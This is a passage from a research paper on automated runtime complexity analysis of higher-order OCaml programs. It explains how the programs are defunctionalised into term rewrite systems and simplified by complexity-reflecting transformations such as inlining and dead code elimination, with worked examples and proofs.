On the one hand, one would like to have, at least, a clear relation
between the cost attributed to a program and its actual complexity
when executed: only this way the analysis’ results would be infor-
mative. On the other hand, many choices are available as for how
the complexity of higher-order programs can be evaluated, and one
would prefer one which is closer to the programmer’s intuitions.
Ideally, then, one would like to work with an informative, even if
not-too-concrete, cost measure, and to be able to evaluate programs
against it fully automatically.

In recent years, several advances have been made such that
the objectives above look now more realistic than in the past, at
least as far as functional programming is concerned. First of all,
some positive, sometime unexpected, results about the invariance of
unitary cost models1 have been proved for various forms of rewrite
systems, including the λ-calculus [1, 6, 19]. What these results tell
us is that counting the number of evaluation steps does not mean
underestimating the time complexity of programs, which is shown to
be bounded by a polynomial (sometime even by a linear function [2])
in their unitary cost. This is good news, since the number of rewrite
steps is among the most intuitive notions of cost for functional
programs, at least when time is the resource one is interested in.

But there is more. The rewriting-community has recently de-
veloped several tools for the automated time complexity analysis
of term rewrite system, a formal model of computation that is at
the heart of functional programming. Examples are AProVE [26],
CaT [55], and TCT [8]. These first-order provers (FOPs for short) com-
bine many different techniques, and after some years of development,

1 In the unitary cost model, a program is attributed a cost equal to the number
of rewrite steps needed to turn it to normal form.
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Figure 1. Complexity Analysis by HOCA and FOPs.

start being able to treat non-trivial programs, as demonstrated by
the result of the annual termination competition.2 This is potentially
very interesting also for the complexity analysis of higher-order
functional programs, since well-known transformation techniques
such as defunctionalisation [48] are available, which turn higher-
order functional programs into equivalent first-order ones. This has
been done in the realm of termination [25, 44], but appears to be
infeasible in the context of complexity analysis. Conclusively this
program transformation approach has been reflected critical in the
literature, cf. [35].

A natural question, then, is whether time complexity analy-
sis of higher-order programs can indeed be performed by going
through first-order tools. Is it possible to evaluate the unitary cost of
functional programs by translating them into first-order programs,
analysing them by existing first-order tools, and thus obtaining
meaningful and informative results? Is, for example, plain defunc-
tionalisation enough? In this paper, we show that the questions above
can be answered positively, when the necessary care is taken. We
summarise the contributions of this paper.
1. We show how defunctionalisation is crucially employed in a

transformation from higher-order programs to first-order term
rewrite systems, such that the time complexity of the latter re-
flects upon the time complexity of the former. More precisely,
we show a precise correspondence between the number of reduc-
tion steps of the higher-order program, and its defunctionalised
version, represented as an applicative term rewrite systems (see
Proposition 2).

2. But defunctionalisation is not enough. Defunctionalised pro-
grams have a recursive structure too complicated for FOPs to
be effective on them. Our way to overcome this issue consists
in further applying appropriate program transformations. These
transformations must of course be proven correct to be viable.
Moreover, we need the complexity analysis of the transformed
program to mean something for the starting program, i.e. we also
prove the considered transformations to be at least complexity
reflecting, if not also complexity preserving. This addresses the
problem that program transformations may potentially alter the
resource usage. We establish inlining (see Corollary 1), instanti-
ation (see Theorem 2), uncurrying (see Theorem 3), and dead
code elimination (see Proposition 4) as, at least, complexity
reflecting program transformations.

3. Still, analysing abstract program transformations is not yet suf-
ficient. The main technical contribution of this paper concerns
the automation of the program transformations rather than the
abstract study presented before. In particular, automating in-
stantiation requires dealing with the collecting semantics of
the program at hand, a task we pursue by exploiting tree au-
tomata and control-flow analysis. Moreover, we define program
transformation strategies which allow to turn complicated de-
functionalised programs into simpler ones that work well in
practice.

4. To evaluate our approach experimentally, we have built HOCA.3

This tool is able to translate programs written in a pure,

2 http://termination-portal.org/wiki/Termination_
Competition.
3 Our tool HOCA is open source and available under http://cbr.uibk.ac.
at/tools/hoca/.

monomorphic subset of OCaml, into a first-order rewrite system,
written in a format which can be understood by FOPs.

The overall flow of information is depicted in Figure 1. Note that
by construction, the obtained certificate reflects onto the runtime
complexity of the initial OCaml program, taking into account the
standard semantics of OCaml. The figure also illustrates the mod-
ularity of the approach, as the here studied subset of OCaml just
serves as a simple example language to illustrate the method: related
languages can be analysed with the same set of tools, as long as
the necessary transformation can be proven sound and complexity
reflecting.

Our testbed includes standard higher-order functions like foldl
and map, but also more involved examples such as an implemen-
tation of merge-sort using a higher-order divide-and-conquer com-
binator as well as simple parsers relying on the monadic parser-
combinator outlined in Okasaki’s functional pearl [43]. We empha-
sise that the methods proposed here are applicable in the context
of non-linear runtime complexities. The obtained experimental re-
sults are quite encouraging. In all cases we can automatically verify
the effectivity of our approach, as at least termination of the orig-
inal program can be detected fully automatically. For all but five
cases, we achieve a fully automated complexity analysis, which is
almost always asymptotically optimal. As far as we know, no other
automated complexity tool can handle the five open examples.

The remainder of this paper is structured as follows. In the
next section, we present our approach abstractly on a motivating
example and clarify the challenges of our approach. In Section 3
we then present defunctionalisation formally. Section 4 presents the
transformation pipeline, consisting of the above mentioned program
transformations. Implementation issues and experimental evidence
are given in Section 5 and 6, respectively. Finally, we conclude in
Section 7, by discussing related work. An extended version of this
paper with more details is available [10].

2. On Defunctionalisation: Ruling the Chaos
The main idea behind defunctionalisation is conceptually simple:
function-abstractions are represented as first-order values; calls
to abstractions are replaced by calls to a globally defined apply-
function. Consider for instance the following OCaml-program:

l e t comp f g = fun z → f (g z ) ; ;
l e t r e c walk x s =

match x s w i t h
[] → ( fun z → z )

| x :: y s → comp (walk y s )
( fun z → x :: z ) ; ;

l e t rev l = walk l [] ; ;
l e t main l = rev l ; ;

Given a list xs, the function walk constructs a function that, when
applied to a list ys, appends ys to the list obtained by reversing xs.
This function, which can be easily defined by recursion, is fed in
rev with the empty list. The function main only serves the purpose
of indicating the complexity of which function we are interested at.

Defunctionalisation can be understood already at this level.
We first define a datatype for representing the three abstractions
occurring in the program:

t y p e ’a c l =

Cl1 o f ’a c l * ’a c l (* fun z → f (g z) *)

| Cl2 (* fun z → z *)

| Cl3 o f ’a (* fun z → x::z *)
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More precisely, an expression of type ’a cl represents a function
closure, whose arguments are used to store assignments to free
variables. An infix operator (@), modelling application, can then be
defined as follows:4

l e t r e c (@) c l z =

match c l w i t h
Cl1( f ,g) → f @ (g @ z )
| Cl2 → z
| Cl3( x) → x :: z ; ;

Using this function, we arrive at a first-order version of the original
higher-order function:

l e t comp f g = Cl1( f ,g) ; ;
l e t r e c walk x s =

match x s w i t h
[] → Cl2

| x :: y s → comp (walk y s ) Cl3( x) ; ;
l e t rev l = walk l @ [] ; ;
l e t main l = rev l ; ;

Observe that now the recursive function walk constructs an explicit
representation of the closure computed by its original definition.
The function (@) carries out the remaining evaluation. This program
can already be understood as a first-order rewrite system.

Of course, a systematic construction of the defunctionalized
program requires some care. For instance, one has to deal with
closures that originate from partial function applications. Still, the
construction is quite easy to mechanize, see Section 3 for a formal
treatment. On our running example, this program transformation
results in the rewrite system Arev, which looks as follows:5

1 Cl1( f ,g) @ z → f @ (g @ z )
2 Cl2 @ z → z
3 Cl3( x) @ z → x :: z
4 comp1( f ) @ g → Cl1( f ,g)
5 comp @ f → comp1( f )
6 matchwalk ([]) → Cl2

7 matchwalk( x :: y s ) →
comp @ ( fix walk @ y s ) @ Cl3( x)

8 walk @ x s → matchwalk( x s )
9 fix walk @ x s → walk @ x s

10 rev @ l → fix walk @ l @ []

11 main( l ) → rev @ l

Despite its conceptual simplicity, current FOPs are unable to
effectively analyse applicative rewrite systems, such as the one
above. The reason this happens lies in the way FOPs work, which
itself reflects the state of the art on formal methods for complexity
analysis of first-order rewrite systems. In order to achieve com-
posability of the analysis, the given system is typically split into
smaller parts (see for example [9]), and each of them is analysed
separately. Furthermore, contextualisation (aka path analysis [31])
and a restricted form of control flow graph analysis (or dependency
pair analysis [30, 42]) is performed. However, at the end of the
day, syntactic and semantic basic techniques, like path orders or
interpretations [52, Chapter 6] are employed. All these methods

4 The definition is rejected by the OCaml type-checker, which however, is
not an issue in our context.
5 In Arev, rule (9) reflects that, under the hood, we treat recursive let
expressions as syntactic sugar for a dedicated fixpoint operator.

focus on the analysis of the given defined symbols (like for instance
the application symbol in the example above) and fail if their recur-
sive definition is too complicated. Naturally this calls for a special
treatment of the applicative structure of the system [32].

How could we get rid of those (@), thus highlighting the deep
recursive structure of the program above? Let us, for example, focus
on the rewriting rule

Cl1(f,g) @ z → f @ (g @ z) ,

which is particularly nasty for FOPs, given that the variables f and
g will be substituted by unknown functions, which could potentially
have a very high complexity. How could we simplify all this? The
key observation is that although this rule tells us how to compose
two arbitrary closures, only very few instances of the rule above
are needed, namely those were g is of the form Cl3(x), and f is
either Cl2 or again of the form Cl1(f,g). This crucial information
can be retrieved in the so-called collecting semantics [41] of the
term rewrite system above, which precisely tells us which object
will possibly be substituted for rule variables along the evaluation
of certain families of terms. Dealing with all this fully automatically
is of course impossible, but techniques based on tree automata, and
inspired by those in [33] can indeed be of help.

Another useful observation is the following: function symbols
like, e.g. comp or matchwalk are essentially useless: their only
purpose is to build intermediate closures, or to control program
flow: one could simply shortcircuit them, using a form of inlining.
And after this is done, some of the left rules are dead code, and can
thus be eliminated from the program. Finally we arrive at a truly
first-order system and uncurrying brings it to a format most suitable
for FOPs.

If we carefully apply the just described ideas to the example
above, we end up with the following first-order system, calledRrev,
which is precisely what HOCA produces in output:

1 Cl11(Cl2,Cl3( x), z ) → x :: z
2 Cl11(Cl1( f ,g),Cl3( x), z ) → Cl11( f ,g, x :: z )
3 fix 1

walk ([]) → Cl2

4 fix 1
walk ( x: y s ) → Cl1( fix

1
walk ( y s ),Cl3( x ))

5 main ([]) → []

6 main( x: y s ) → Cl11( fix
1
walk ( y s ),Cl3( x ),[])

This term rewrite system is equivalent to Arev from above, both
extensionally and in terms of the underlying complexity. However,
the FOPs we have considered can indeed conclude that main has
linear complexity, a result that can be in general lifted back to the
original program.

Sections 4 and 5 are concerned with a precise analysis of the
program transformations we employed when turning Arev intoRrev.
Before, we recap central definitions in the next section.

3. Preliminaries
The purpose of this section is to give some preliminary notions about
the λ-calculus, term rewrite systems, and translations between them;
see [11, 45, 52] for further reading.

To model a reasonable rich but pure and monomorphic func-
tional language, we consider a typed λ-calculus with constants and
fixpoints akin to Plotkin’s PCF [46]. To seamlessly express pro-
grams over algebraic datatypes, we allow constructors and pattern
matching. To this end, let C1, . . . , Ck be finitely many constructors,
each equipped with a fixed arity. The syntax of PCF-programs is
given by the following grammar:

Exp e, f ::= x | Ci(~e) | λx .e | e f | fix(x .e)

| match e {C1(~x1) 7→ e1; · · · ; Ck(~xk) 7→ ek} ,
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where x ranges over variables. Note that the variables ~xi in a match-
expression are considered bound in ei. A simple type system can be
easily defined [10] based on a single ground type, and on the usual
arrow type constructor. We claim that extending the language with
products and coproducts would not be problematic.

We adopt weak call-by-value semantics. Here weak means
that reduction under any λ-abstraction λx .e and any fixpoint-
expressions fix(x .e) is prohibited. The definition is straightforward,
see e.g. [29]. Call-by-value means that in a redex e f , the expression
f has to be evaluated. A match-expression match e {C1(~x1) 7→
e1; · · · ; Ck(~xk) 7→ ek} is evaluated by first evaluating the guard e
to a value Ci(~v). Reduction then continues with the corresponding
case-expression ei with values ~vi substituted for variables ~xi. The
one-step weak call-by-value reduction relation is denoted by→v .
Elements of the term algebra over constructors C1, . . . , Ck embed-
ded in our language are collected in Input. A PCF-program with
n input arguments is a closed expression P = λx1 · · ·λxn.e of
first-order type. What this implicitly means is that we are interested
in an analysis of programs with a possibly very intricate internal
higher-order structure, but whose arguments are values of ground
type. This is akin to the setting in [12] and provides an intuitive
notion of runtime complexity for higher-order programs, without
having to rely on ad-hoc restrictions on the use of function-abstracts
(as e.g. [35]). In this way we also ensure that the abstractions re-
duced in a run of P are the ones found in P , an essential property
for performing defunctionalisation. We assume that variables in P
have been renamed apart, and we impose a total order on variables
in P . The free variables FV(e) in the body e of P can this way be
defined as an ordered sequence of variables.

Example 1. We fix constructors [] and (::) for lists, the latter
we write infix. Then the program computing the reverse of a list,
as described in the previous section, can be seen as the PCF term
Prev := λl.rev l where

rev = λl.fix(w.walk) l [] ;

walk = λxs.match xs

{
[] 7→ λz.z ;

x::ys 7→ comp (w ys) (λz.x::z)

}
;

comp = λf.λg.λz.f (g z) .

The second kind of programming formalism we will deal with
is the one of term rewrite systems. Let F = {f1, . . . , fn} be
a set of function symbols, each equipped again with an arity,
the signature. We denote by s, t, . . . terms over the signature F ,
possibly including variables. A position p in t is a finite sequence of
integers, such that the following definition of subterm at position p
is well-defined: t|ε = t for the empty position ε, and t|ip = ti|p for
t = f(t1, . . . , tk). For a position p in t, we denote by t[s]p the term
obtained by replacing the subterm at position p in t by the term s. A
context C is a term containing one occurrence of a special symbol
2, the hole. We define C[t] := C[t]p for p the position of 2 in C,
i.e. C|p = 2.

A substitution, is a finite mapping σ from variables to terms. By
tσ we denote the term obtained by replacing in t all variables x in
the domain of σ by σ(x ). A substitution σ is at least as general as a
substitution τ if there exists a substitution ρ such that τ(x ) = σ(x )ρ
for each variable x . A term t is an instance of a term s if there exists
a substitution σ, with sσ = t; the terms t and s unify if there exists
a substitution µ, the unifier, such that tµ = sµ. If two terms are
unifiable, then there exists a most general unifier (mgu for short).

A term rewrite system (TRS for short)R is a finite set of rewrite
rules, i.e. directed equations f(l1, . . . , lk) → r such that all vari-
ables occurring in the right-hand side r occur also in the left-hand
side f(l1, . . . , lk). The roots of left-hand sides, the defined sym-
bols of R, are collected in DR, the remaining symbols F \ DR
are the constructors of R and collected in CR. Terms over the

constructors CR are considered values and collected in T (CR).
We denote by −→R the one-step rewrite relation of R, imposing
call-by-value semantics. Call-by-value means that variables are as-
signed elements of T (CR). Throughout the following, we consider
non-ambiguous rewrite systems, that is, the left-hand sides are pair-
wise non-overlapping. Despite the restriction to non-ambiguous
rewrite systems the rewrite relation −→R may be non-deterministic:
e.g. no control in what order arguments of terms are reduced is
present. However, the following special case of the parallel moves
lemma [11] tells us that this form of non-determinism is not harmful
for complexity-analysis.

Proposition 1. For a non-ambiguous TRS R, all normalising
reductions of t have the same length, i.e. if t −→m

R u1 and t −→n
R u2

for two irreducible terms u1 and u2, then u1 = u2 and m = n.

An applicative term rewrite system (ATRS for short) is usually
defined as a TRS over a signature consisting of a finite set of
nullary function symbols and one dedicated binary symbol (@), the
application symbol. Here, we are more liberal and just assume the
presence of (@), and allow function symbols that take more than one
argument. Throughout the following, we are foremost dealing with
ATRSs, which we denote byA,B below. We also write (@) infix and
assume that it associates to the left.

In the following, we show that every PCF-programP can be seen
as an ATRSAP . To this end, we first define an infinite schemaAPCF

of rewrite rules which allows us to evaluate the whole of PCF. The
signature underlying APCF contains, besides the application-symbol
(@) and constructors C1, . . . , Ck, the following function symbols,
called closure constructors: (i) for each PCF term λx .e with n free
variables an n-ary symbol lamx .e; (ii) for each PCF term fix(x .e)
with n free variables an n-ary symbol fixx .e; and (iii) for each
match-expression match e {cs} with n free variables a symbol
matchcs of arity n + 1. Furthermore, we define a mapping [ · ]Φ
from PCF terms to APCF terms as follows.

[ x ]Φ := x ;
[λx .e ]Φ := lamx .e(~x ), where ~x = FV(λx .e) ;

[ Ci(e1, . . . , ek) ]Φ := Ci([ e1 ]Φ, . . . , [ ek ]Φ) ;
[ e f ]Φ := [ e ]Φ @ [ f ]Φ ;

[ fix(x .e) ]Φ := fixx .e(~x ), where ~x = FV(fix(x .e)) ;
[match e {cs} ]Φ := matchcs([ e ]Φ, ~x ), where ~x = FV({cs}) .

Based on this interpretation, each closure constructor is equipped
with one or more of the following defining rules:

lamx .e(~x ) @ x → [ e ]Φ ;
fixx .e(~x ) @ y → [ e{fix(x .e)/x} ]Φ @ y , where y is fresh;

matchcs(Ci(~xi), ~x )→ [ ei ]Φ, for i ∈ {1, . . . , k}.
Here, we suppose cs = {C1(~x1) 7→ e1; · · · ; Ck(~xk) 7→ ek}.

For a program P = λx1 · · ·λxn.e, we defineAP as the least set
of rules that (i) contains a rule main(x1, . . . , xn) → [ e ]Φ, where
main is a dedicated function symbol; and (ii) whenever l→ r ∈ AP
and f is a closure-constructor in r, then AP contains all defining
rules of f from the schema APCF. Crucial, AP is always finite, in
fact, the size of AP is linearly bounded in the size of P [10].
Remark. This statement becomes trivial if we consider alternative
defining rule

fixx .e(~x ) @ y → [ e ]Φ{x/fixx .e(~x )} @ y ,

which would also correctly model the semantics of fixpoints fix(x .e).
Then the closure constructors occurring in AP are all obtained
from sub-expressions of P . Our choice is motivated by the fact
that closure constructors of fixpoints are propagates to call sites,
something that facilitates the complexity analysis of AP .
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Example 2. The expression Prev from Example 1 gets translated
into the ATRS APrev = Arev we introduced in Section 2. For
readability, closure constructors have been renamed.

We obtain the following simulation result, a proof of which can
be found in [10].

Proposition 2. Every→v-reduction of an expression P d1 · · · dn
(dj ∈ Input) is simulated step-wise by a call-by-value AP -
derivation starting from main(d1, . . . , dn).

As the inverse direction of this proposition can also be stated,AP
can be seen as a sound and complete, in particular step-preserving,
implementation of the PCF-program P .

In correspondence to Proposition 2, we define the runtime
complexity of an ATRS A as follows. As above, only terms d ∈
Input built from the constructors C are considered valid inputs.
The runtime of A on inputs d1, . . . , dn is defined as the length of
the longest rewrite sequence starting from main(d1, . . . , dn). The
runtime complexity function is defined as the (partial) function which
maps the natural number m to the maximum runtime ofA on inputs
d1, . . . , dn with

∑n
j=1|dj | 6 m, where the size |d| is defined as

the number of occurrences of constructors in d.
Crucial, our notion of runtime complexity corresponds to the

notion employed in first-order rewriting and in particular in FOPs.
Our simple form of defunctionalisation thus paves the way to our
primary goal: a successful complexity analysis ofAP with rewriting-
based tools can be relayed back to the PCF-program P .

4. Complexity Reflecting Transformations
The result offered by Proposition 2 is remarkable, but is a Pyrrhic
victory towards our final goal: as discussed in Section 2, the
complexity of defunctionalised programs is hard to analyse, at least
if one wants to go via FOPs. It is then time to introduce the four
program transformations that form our toolbox, and that will allow
us to turn defunctionalised programs into ATRSs which are easier
to analyse.

In this section, we describe the four transformations abstractly,
without caring too much about how one could implement them.
Rather, we focus on their correctness and, even more importantly
for us, we verify that the complexity of the transformed program is
not too small compared to the complexity of the original one. We
will also show, through examples, how all this can indeed be seen as
a way to simplify the recursive structure of the programs at hand.

A transformation is a partial function f from ATRSs to ATRSs.
In the case that f(A) is undefined, the transformation is called
inapplicable to A. We call the transformation f (asymptotically)
complexity reflecting if for every ATRS A, the runtime complexity
of A is bounded (asymptotically) by the runtime complexity of
f(A), whenever f is applicable on A. Conversely, we call f
(asymptotically) complexity preserving if the runtime complexity
of f(A) is bounded (asymptotically) by the complexity of A,
whenever f is applicable on A. The former condition states a
form of soundness: if f is complexity reflecting, then a bound
on the runtime complexity of f(A) can be relayed back to A.
The latter conditions states a form of completeness: application
of a complexity preserving transformation f will not render our
analysis ineffective, simply because f translated A to an inefficient
version. We remark that the set of complexity preserving (complexity
reflecting) transformations is closed under composition.

4.1 Inlining
Our first transformation constitutes a form of inlining. This allows
for the elimination of auxiliary functions, this way making the
recursive structure of the considered program apparent.

Consider the ATRS Arev from Section 2. There, for instance,
the call to walk in the definition of fixwalk could be inlined, thus
resulting in a new definition:

fixwalk @ xs → matchwalk(xs) .

Informally, thus, inlining consists in modifying the right-hand-sides
of ATRS rules by rewriting subterms, according to the ATRS itself.
We will also go beyond rewriting, by first specializing arguments
so that a rewrite triggers. In the above rule for instance, matchwalk
cannot be inlined immediately, simply because matchwalk is defined
itself by case analysis on xs. To allow inlining of this function
nevertheless, we specialize xs to the patterns [] and x::ys, the
patterns underlying the case analysis of matchwalk. This results in
two alternative rules for fixwalk, namely

fixwalk @ []→ matchwalk([]) ;
fixwalk @ (x::ys)→ matchwalk(x::ys) .

Now we can inline matchwalk in both rules. As a consequence the
rules defining fixwalk are easily seen to be structurally recursive, a
fact that FOPs can recognise and exploit.

A convenient way to formalise inlining is by way of narrow-
ing [11]. We say that a term s narrows to a term t at a non-
variable position p in s, in notation s

µ
 A,p t, if there exists a

rule l → r ∈ A such that µ is a unifier of left-hand side l and the
subterm s|p (after renaming apart variables in l → r and s) and
t = sµ[rµ]p. In other words, the instance sµ of s rewrites to t at
position p with rule l → r ∈ A. The substitution µ is just enough
to uncover the corresponding redex in s. Note, however, that the
performed rewrite step is not necessarily call-by-value, the mgu µ
could indeed contain function calls. We define the set of all inlinings
of a rule l→ r at position p which is labeled by a defined symbol
by

inlineA,p(l→ r) := {lµ→ s | r µ
 A,p s} .

The following example demonstrates inlining through narrowing.

Example 3. Consider the substitutions µ1 = {xs 7→ []} and
µ2 = {xs 7→ x::ys}. Then we have

matchwalk(xs)
µ1 Arev,ε Cl2

matchwalk(xs)
µ2 Arev,ε comp @ (fixwalk@ ys) @ Cl3(x) .

Since no other rule of Arev unifies with matchwalk(xs), the set

inlineArev,ε(fixwalk @ xs → matchwalk(xs))

consists of the two rules

fixwalk @ []→ Cl2 ;
fixwalk @ (x::ys)→ comp @ (fixwalk @ ys) @ Cl3(x) .

Inlining is in general not complexity reflecting. Indeed, inlining
is employed by many compilers as a program optimisation technique.
The following examples highlight two issues we have to address.
The first example indicates the obvious: in a call-by-value setting,
inlining is not asymptotically complexity reflecting, if potentially
expensive function calls in arguments are deleted.

Example 4. Consider the following inefficient system:

1 k(x , y) → x
2 main (0) → 0

3 main(S(n)) → k(main(n),main(n))

Inlining k in the definition of main results in an alternative def-
inition main(S(n)) → main(n) of rule (3), eliminating one of
the two recursive calls and thereby reducing the complexity from
exponential to linear.
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The example motivates the following, easily decidable, condition.
Let l→ r denote a rule whose right-hand side is subject to inlining
at position p. Suppose the rule u → v ∈ A is unifiable with the
subterm r|p of the right-hand side r, and let µ denote the most
general unifier. Then we say that inlining r|p with u→ v is redex
preserving, if whenever xµ contains a defined symbol of A, then
the variable x occurs also in the right-hand side v. The inlining
l→ r at position p is called redex preserving if inlining r|p is redex
preserving with all rule u→ v such that u unifies with r|p. Redex-
preservation thus ensures that inlining does not delete potential
function calls, apart from the inlined one. In the example above,
inlining k(main(n),main(n)) is not redex preserving because the
variable y is mapped to the redex main(n) by the underlying unifier,
but y is deleted in the inlining rule k(x,y) → x.

Our second example is more subtle and arises when the studied
rewrite system is under-specified:

Example 5. Consider the system consisting of the following rules.

1 h(x ,0) → x
2 main (0) → 0

3 main(S(n)) → h(main(n),n)

Inlining h in the definition of main will specialise the variable n to 0
and thus replaces rule (3) by main(S(0)) → main(0). Note that
the runtime complexity of the former system is linear, whereas its
runtime complexity is constant after transformation.

Crucial for the example, the symbol h is not sufficiently defined,
i.e. the computation gets stuck after completely unfolding main. To
overcome this issue, we require that inlined functions are sufficiently
defined. Here a defined function symbol f is called sufficiently
defined, with respect to an ATRS A, if all subterms f(~t) occurring
in a reduction of main(d1, . . . , dn) (dj ∈ Input) are reducible. This
property is not decidable in general. Still, the ATRSs obtained from
the translation in Section 3 satisfy this condition for all defined
symbols. By construction reductions do not get stuck. Inlining, and
the transformations discussed below, preserve this property.

We will now show that under the above outlined conditions,
inlining is indeed complexity reflecting. Fix an ATRS A. In proofs
below, we denote by ;A an extension of −→A where not all
arguments are necessarily reduced, but where still a step cannot
delete redexes: s;A t if s = C[lσ] and t = C[rσ] for a contextC,
rule l→ r ∈ A and a substitution σ which satisfies σ(x ) ∈ T (CA)
for all variables x which occur in l but not in r. By definition,
−→A ⊆ ;A. The relation ;A is just enough to capture rewrites
performed on right-hand sides in a complexity reflecting inlining.

The next lemma collects the central points of our correctness
proof. Here, we first consider the effect of replacing a single
application of a rule l→ r with an application of a corresponding
rule in inlineA,p(l → r). As the lemma shows, this is indeed
always possible, provided the inlined function is sufficiently defined.
Crucial, inlining preserves semantics. Complexity reflecting inlining,
on the other hand, does not optimise the ATRS under consideration
too much, if at all.

Lemma 1. Let l→ r be a rewrite rule subject to a redex preserving
inlining of function f at position p in r. Suppose that the symbol f
is sufficiently defined by A. Consider a normalising reduction

main(d1, . . . , dn) −→∗A C[lσ] −→A C[rσ] −→`
A u ,

for di ∈ Input (i = 1, . . . , n) and some ` ∈ N. Then there exists a
term t such that the following properties hold:

1. lσ −→inlineA,p(l→r) t; and
2. rσ ;I t, where I collects all rules that are unifiable with the

right-hand side r at position p; and

3. C[t] −→>`−1
A u.

In consequence, we thus obtain a term t such that

main(d1, . . . , dn) −→∗A C[lσ] −→inlineA,p(l→r) C[t] −→>`−1
A u ,

holds under the assumptions of the lemma. Complexity preservation
of inlining, modulo a constant factor under the outlined assumption,
now follows essentially by induction on the maximal length of
reductions. As a minor technical complication, we have to consider
the broader reduction relation ;A instead of −→A. To ensure that
the induction is well-defined, we use the following specialization of
[28, Theorem 3.13].

Proposition 3. If a term t has a normalform wrt.−→A, then all ;A
reductions of t are finite.

Theorem 1. Let l → r be a rewrite rule subject to a redex
preserving inlining of function f at position p in r. Suppose that the
symbol f is sufficiently defined byA. Let B be obtained by replacing
rule l → r by the rules inlineA,p(l → r). Then every normalizing
derivation with respect to A starting from main(d1, . . . , dn) (dj ∈
Input) of length ` is simulated by a derivation with respect to B
from main(d1, . . . , dn) of length at least b `

2
c.

Proof. Suppose t is a reduct of main(d1, . . . , dn) occurring in a
normalising reduction, i.e. main(d1, . . . , dn) −→∗A t −→∗A u, for u a
normal form of A. In proof, we show that if t −→∗A u is a derivation
of length `, then there exists a normalising derivation with respect to
B whose length is at least b `

2
c. The theorem then follows by taking

t = main(d1, . . . , dn).
We define the derivation height dh(s) of a term s wrt. the

relation ;A as the maximal m such that t ;m
A u holds. The

proof is by induction on dh(t), which is well-defined by assumption
and Proposition 3. It suffices to consider the induction step. Suppose
t −→A s −→`

A u. We consider the case where the step t −→A s is
obtained by applying the rule l → r ∈ A, otherwise, the claim
follows directly from induction hypothesis. Then as a result of
Lemma 1(1) and 1(3) we obtain an alternative derivation

t −→B w −→`′
A u ,

for some term w and `′ satisfying `′ > ` − 1. Note that s ;A w
as a consequence of Lemma 1(2), and thus dh(s) > dh(w) by
definition of derivation height. Induction hypothesis onw thus yields
a derivation t −→B w −→∗B u of length at least b `

′

2
c+1 = b `

′+2
2
c >

b `+1
2
c.

We can then obtain that inlining has the key property we require
on transformations.

Corollary 1 (Inlining Transformation). The inlining transforma-
tion, which replaces a rule l → r ∈ A by inlineA,p(l → r), is
asymptotically complexity reflecting whenever the function consid-
ered for inlining is sufficiently defined and the inlining itself is redex
preserving.

Example 6. Consider the ATRS Arev from Section 2. Three appli-
cations of inlining result in the following ATRS:

1 Cl1( f ,g) @ z → f @ (g @ z )
2 Cl2 @ z → z
3 Cl3( x) @ z → x :: z
4 comp1( f ) @ g → Cl1( f ,g)
5 comp @ f → comp1( f )
6 matchwalk ([]) → Cl2

7 matchwalk( x :: y s ) →
comp @ ( fix walk @ y s ) @ Cl3( x)
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8 walk @ x s → matchwalk( x s )
9 fix walk @ [] → Cl2

10 fix walk @ ( x :: y s ) →
Cl1( fix walk @ ys ,Cl3( x ))

11 rev @ l → fix walk @ l @ []

12 main( l ) → fix walk @ l @ []

The involved inlining rules are all non-erasing, i.e. all inlinings are
redex preserving. As a consequence of Corollary 1, a bound on the
runtime complexity of the above system can be relayed, within a
constant multiplier, back to the ATRS Arev.

Note that the modified system from Example 6 gives further
possibilities for inlining. For instance, we could narrow further
down the call to fixwalk in rules (10), (11) and (12), performing case
analysis on the variable ys and l , respectively. Proceeding this way
would step-by-step unfold the definition of fixwalk, ad infinitum.
We could have also further reduced the rules defining matchwalk and
walk. However, it is not difficult to see that these rules will never be
unfolded in a call to main, they have been sufficiently inlined and
can be removed. Elimination of such unused rules will be discussed
next.

4.2 Elimination of Dead Code
The notion of usable rules is well-established in the rewriting
community. Although its precise definition depends on the context
used (e.g. termination [4] and complexity analysis [30]), the notion
commonly refers to a syntactic method for detecting that certain
rules can never be applied in derivations starting from a given set of
terms. From a programming point of view, such rules correspond to
dead code, which can be safely eliminated.

Dead code arises frequently in automated program transforma-
tions, and its elimination turns out to facilitate our transformation-
based approach to complexity analysis. The following definition
formalises dead code elimination abstractly, for now. Call a rule
l→ r ∈ A usable if it can be applied in a derivation

main(d1, . . . , dk) −→A · · · −→A t1 −→{l→r} t2 ,

where di ∈ Input. The rule l → r is dead code if it is not usable.
The following proposition follows by definition.

Proposition 4 (Dead Code Elimination). Dead code elimination,
which maps an ATRS A to a subset of A by removing dead code
only, is complexity reflecting and preserving.

It is not computable in general which rules are dead code. One
simple way to eliminate dead code is to collect all the function
symbols underlying the definition of main, and remove the defining
rules of symbols not in this collection, compare e.g. [30]. This
approach works well for standard TRSs, but is usually inappropriate
for ATRSs where most rules define a single function symbol, the
application symbol. A conceptually similar, but unification based,
approach that works reasonably well for ATRSs is given in [24].
However, the accurate identification of dead code, in particular in
the presence of higher-order functions, requires more than just a
simple syntactic analysis. We show in Section 5.2 a particular form
of control flow analysis which leverages dead code elimination. The
following example indicates that such an analysis is needed.

Example 7. We revisit the simplified ATRS from Example 6. The
presence of the composition rule (1), itself a usable rule, makes
it harder to infer which of the application rules are dead code.
Indeed, the unification-based method found in [24] classifies all
rules as usable. As we hinted in Section 2, the variables f and g are
instantiated only by a very limited number of closures in a call of
main(l). In particular, none of the symbols rev, walk, comp and

comp1 are passed to Cl1. With this knowledge, it is not difficult to see
that their defining rules, together with the rules defining matchwalk,
can be eliminated by Proposition 4. Overall, the complexity of
the ATRS depicted in Example 6 is thus reflected by the ATRS
consisting of the following six rules.

1 Cl1( f ,g) @ x → f @ (g @ x)
2 Cl2 @ z → z
3 Cl3( x) @ z → x :: z
4 fix walk @ [] → Cl2

5 fix walk @ ( x :: y s ) →
Cl1( fix walk @ y s ,Cl3( x ))

6 main( l ) → fix walk @ l @ []

4.3 Instantiation
Inlining and dead code elimination can indeed help in simplifying
defunctionalised programs. There is however a feature of ATRS
they cannot eliminate in general, namely rules whose right-hand-
sides have head variables, i.e. variables that occur to the left of
an application symbol and thus denote a function. The presence of
such rules prevents FOPs to succeed in all but trivial cases. The
ATRS from Example 7, for instance, still contains one such rule,
namely rule (1), with head variables f and g. The main reason
FOPs perform poorly on ATRSs containing such rules is that they
lack a sufficiently powerful form of control flow analysis. They are
thus unable to realise that function symbols simulating higher-order
combinators are passed arguments of a very specific shape, and are
thus often harmless. This is the case, as an example, for the function
symbol Cl1.

The way out consists in specialising the ATRS rules. This has
the potential of highlighting the absence of certain dangerous
patterns, but of course must be done with great care, without hiding
